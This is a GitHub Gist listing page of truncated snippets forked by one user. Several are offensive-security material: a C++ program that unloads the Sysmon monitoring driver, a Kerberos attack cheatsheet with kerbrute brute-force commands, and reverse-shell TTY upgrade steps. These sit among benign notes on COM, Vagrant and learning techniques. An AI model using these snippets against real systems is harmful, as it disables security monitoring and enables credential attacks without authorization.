Skip to content

Instantly share code, notes, and snippets.

@T3nb3w
T3nb3w / com.cpp
Created December 30, 2021 19:36 — forked from Alexhuszagh/com.cpp
Example Using COM IDispatch Interface
/** Example using the COM interface without AutoCOM. The entire
* file can be automated with AutoCOM in under 15-lines of code.
*
* #include "autocom.hpp"
* int main(int argc, char *argv[])
* {
* com::Bstr text;
* com::Dispatch dispatch("VBScript.RegExp");
* dispatch.put("Pattern", L"\\w+");
* for (auto match: dispatch.iter("Execute", L"A(b) c35 d_[x] yyy")) {
package dummy
import (
"errors"
"runtime"
"syscall"
"unsafe"
)
type CredentialsPromptFlag uint32
@T3nb3w
T3nb3w / UnloadSysmon.cpp
Created May 3, 2021 13:00 — forked from safebuffer/UnloadSysmon.cpp
Unload Sysmon driver
#include <Windows.h>
#include <fltuser.h>
#pragma comment(lib,"FltLib.lib")
typedef NTSTATUS(NTAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG WasEnabled);
int main()
{
HRESULT unload;
ULONG WasEnabled;
HMODULE hNtdll = NULL;
LPCWSTR SYSMONDRIVER = L"SysmonDrv";
@T3nb3w
T3nb3w / LHTL notes
Created March 24, 2020 18:21 — forked from sudomain/LHTL notes
Notes from Learning How to Learn MOOC
*Original intruction material by Dr. Barbara Oakley and Dr. Terrence Sejnowski as part of their MOOC "Learning How to Learn" available via Coursera (August 2017)
*Notes by Amir Saleh (not me) who shared his notes accessible via the discussion forums (https://docs.google.com/document/d/1GVYaVOVT2G9MS6ku6tLjhvoMazh7rWdqUu0Kts5C3Fc/edit)
*Reproduced per the paraphrasing rule outlined in the course FAQ:
*"We're often asked whether it's okay to use illustrations or quoted material from the course or book in your final project. It's perfectly possible to use illustrations from the course or book, but please cite where you got them, with the copyright information. If you quote anything from the video clips or the book A Mind for Numbers, you'll put it in quotation marks and cite where you got it. If you paraphrase information from the video clips or A Mind for Numbers--that is, you put things in your own words--then there's no need to put in a reference, although it would be nice to put some sort of general referenc
@T3nb3w
T3nb3w / kerberos_attacks_cheatsheet.md
Created January 4, 2020 19:20 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
@T3nb3w
T3nb3w / vagrant-cheat-sheet.md
Created February 11, 2019 20:02 — forked from wpscholar/vagrant-cheat-sheet.md
Vagrant Cheat Sheet

Typing vagrant from the command line will display a list of all available commands.

Be sure that you are in the same directory as the Vagrantfile when running these commands!

Creating a VM

  • vagrant init -- Initialize Vagrant with a Vagrantfile and ./.vagrant directory, using no specified base image. Before you can do vagrant up, you'll need to specify a base image in the Vagrantfile.
  • vagrant init <boxpath> -- Initialize Vagrant with a specific box. To find a box, go to the public Vagrant box catalog. When you find one you like, just replace it's name with boxpath. For example, vagrant init ubuntu/trusty64.

Starting a VM

  • vagrant up -- starts vagrant environment (also provisions only on the FIRST vagrant up)
Started by user Mohamed
Building in workspace /var/lib/jenkins/workspace/test
> git rev-parse --is-inside-work-tree # timeout=10
Fetching changes from the remote Git repository
> git config remote.origin.url https://github.com/rootkeb/antixss.git # timeout=10
Fetching upstream changes from https://github.com/rootkeb/antixss.git
> git --version # timeout=10
> git fetch --tags --progress https://github.com/rootkeb/antixss.git +refs/heads/*:refs/remotes/origin/*
> git rev-parse refs/remotes/origin/master^{commit} # timeout=10
> git rev-parse refs/remotes/origin/origin/master^{commit} # timeout=10